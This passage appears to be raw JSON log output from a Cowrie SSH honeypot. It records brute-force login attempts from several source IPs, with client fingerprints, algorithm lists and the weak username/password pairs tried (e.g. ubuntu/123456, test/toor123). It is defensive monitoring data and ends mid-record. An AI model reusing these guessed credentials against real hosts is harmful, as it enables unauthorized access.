{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:44.833693Z","src_ip":"152.32.238.146","session":"6a0f60331da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:44.915086Z","src_ip":"152.32.238.146","session":"6a0f60331da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:45.938578Z","src_ip":"152.32.238.146","session":"6a0f60331da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":46780,"dst_ip":"159.203.135.109","dst_port":22,"session":"a51249c701bb","protocol":"ssh","message":"New connection: 140.106.25.230:46780 (159.203.135.109:22) [session: a51249c701bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:05.339674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:05.344351Z","src_ip":"140.106.25.230","session":"a51249c701bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:05.375686Z","src_ip":"140.106.25.230","session":"a51249c701bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"toor123","message":"login attempt [test/toor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:05.546227Z","src_ip":"140.106.25.230","session":"a51249c701bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:06.581214Z","src_ip":"140.106.25.230","session":"a51249c701bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38350,"dst_ip":"159.203.135.109","dst_port":22,"session":"7130fa81dc8b","protocol":"ssh","message":"New connection: 159.203.92.129:38350 (159.203.135.109:22) [session: 7130fa81dc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:13.703381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:13.792402Z","src_ip":"159.203.92.129","session":"7130fa81dc8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:13.796761Z","src_ip":"159.203.92.129","session":"7130fa81dc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"321","message":"login attempt [a/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:13.948634Z","src_ip":"159.203.92.129","session":"7130fa81dc8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:15.046837Z","src_ip":"159.203.92.129","session":"7130fa81dc8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":50872,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2cde8682320","protocol":"ssh","message":"New connection: 152.32.238.146:50872 (10.17.0.5:22) [session: c2cde8682320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:29.670516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:29.675444Z","src_ip":"152.32.238.146","session":"c2cde8682320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:29.696610Z","src_ip":"152.32.238.146","session":"c2cde8682320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"michelle","message":"login attempt [user/michelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:29.775427Z","src_ip":"152.32.238.146","session":"c2cde8682320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:30.793493Z","src_ip":"152.32.238.146","session":"c2cde8682320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":35700,"dst_ip":"159.203.135.109","dst_port":22,"session":"b18c31975f31","protocol":"ssh","message":"New connection: 173.249.6.197:35700 (159.203.135.109:22) [session: b18c31975f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:37.971822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:37.977575Z","src_ip":"173.249.6.197","session":"b18c31975f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:38.071793Z","src_ip":"173.249.6.197","session":"b18c31975f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mcserver","message":"login attempt [minecraft/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:38.478093Z","src_ip":"173.249.6.197","session":"b18c31975f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:39.574772Z","src_ip":"173.249.6.197","session":"b18c31975f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60484,"dst_ip":"159.203.135.109","dst_port":22,"session":"af99713769ac","protocol":"ssh","message":"New connection: 159.203.92.129:60484 (159.203.135.109:22) [session: af99713769ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:55.784428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:55.789193Z","src_ip":"159.203.92.129","session":"af99713769ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:55.793800Z","src_ip":"159.203.92.129","session":"af99713769ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:55.853384Z","src_ip":"159.203.92.129","session":"af99713769ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":35832,"dst_ip":"159.203.135.109","dst_port":22,"session":"b387f3dba31b","protocol":"ssh","message":"New connection: 140.106.25.230:35832 (159.203.135.109:22) [session: b387f3dba31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:56.569917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:56.574381Z","src_ip":"140.106.25.230","session":"b387f3dba31b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:56.604315Z","src_ip":"140.106.25.230","session":"b387f3dba31b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"users","password":"123456","message":"login attempt [users/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:56.755065Z","src_ip":"140.106.25.230","session":"b387f3dba31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:56.859061Z","src_ip":"159.203.92.129","session":"af99713769ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:20:57.788046Z","src_ip":"140.106.25.230","session":"b387f3dba31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":40274,"dst_ip":"10.17.0.5","dst_port":22,"session":"839045fbb2a9","protocol":"ssh","message":"New connection: 152.32.238.146:40274 (10.17.0.5:22) [session: 839045fbb2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:14.709883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:14.714538Z","src_ip":"152.32.238.146","session":"839045fbb2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:14.733546Z","src_ip":"152.32.238.146","session":"839045fbb2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"qazwsx","message":"login attempt [user1/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:14.823339Z","src_ip":"152.32.238.146","session":"839045fbb2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:15.903864Z","src_ip":"152.32.238.146","session":"839045fbb2a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":51644,"dst_ip":"159.203.135.109","dst_port":22,"session":"64841516ee61","protocol":"ssh","message":"New connection: 103.63.108.25:51644 (159.203.135.109:22) [session: 64841516ee61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:16.008248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:16.014577Z","src_ip":"103.63.108.25","session":"64841516ee61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"en